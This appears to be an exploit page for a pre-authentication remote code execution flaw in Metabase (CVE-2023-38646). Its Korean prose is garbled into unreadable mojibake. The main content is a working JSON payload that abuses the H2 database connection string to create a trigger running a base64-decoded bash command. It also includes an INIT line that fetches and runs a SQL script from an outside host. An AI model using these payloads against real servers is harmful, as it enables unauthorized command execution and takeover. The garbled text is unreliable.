## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0UTL4NDER-ANOTHER-METABASE-RCE-CVE-2023-38646
### Metabaseμ μ¬μ μΈμ¦ RCE(CVE-2023-38646) νμ₯ μ€λͺ
μ¬κΈ°
μ΄κ²μ H2 λ° PostgreSQL μμ§μμ 'λ°μ΄ν°λ² μ΄μ€κ° μ΄λ―Έ μ¬μ© μ€' μ€λ₯λ₯Ό νΌνλ λ° λμμ΄ λμμ΅λλ€.
root@kitploit:~
{
"token": "TOKEN",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":{},
"details":
{
"advanced-options":true,
"classname":"org.h2.Driver",
"subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
"subprotocol": "h2"
},
"engine": "postgres",
"name": "x"
}}
INIT μ€ν¬λ¦½νΈμ ν¨κ» h2λ₯Ό μμ§μΌλ‘ μ§μ μ¬μ©νλ λμ , 쿼리μμ μ κ±°λμκΈ° λλ¬Έμ μ¬μ ν h2 μμ§μ λν db 쿼리λ₯Ό μ¬μ©ν©λλ€.
INIT μ€ν¬λ¦½νΈ `mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'`
### .sql νμΌμμ μ
Έ λͺ
λ Ήμ μ€ννλ λ°©λ²μ μ§μ ν©λλ€.
* * *
# μ°Έμ‘°
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase
### λ©λͺ¨λ‘ μμ±λμμΌλ©°, λͺ¨νΈν λ¬Έμλ‘ κ°μ£Όνμμμ€. μ΄λ€ λμμ λν΄ μ΄κ±°, μ΅μ€νλ‘μ λλ λ¨μν ν
μ€νΈνλ €λ©΄ λ°λμ κΆνμ΄ μμ΄μΌ ν©λλ€.
## λκΈκ³Ό κΈ°μ¬λ νμν©λλ€.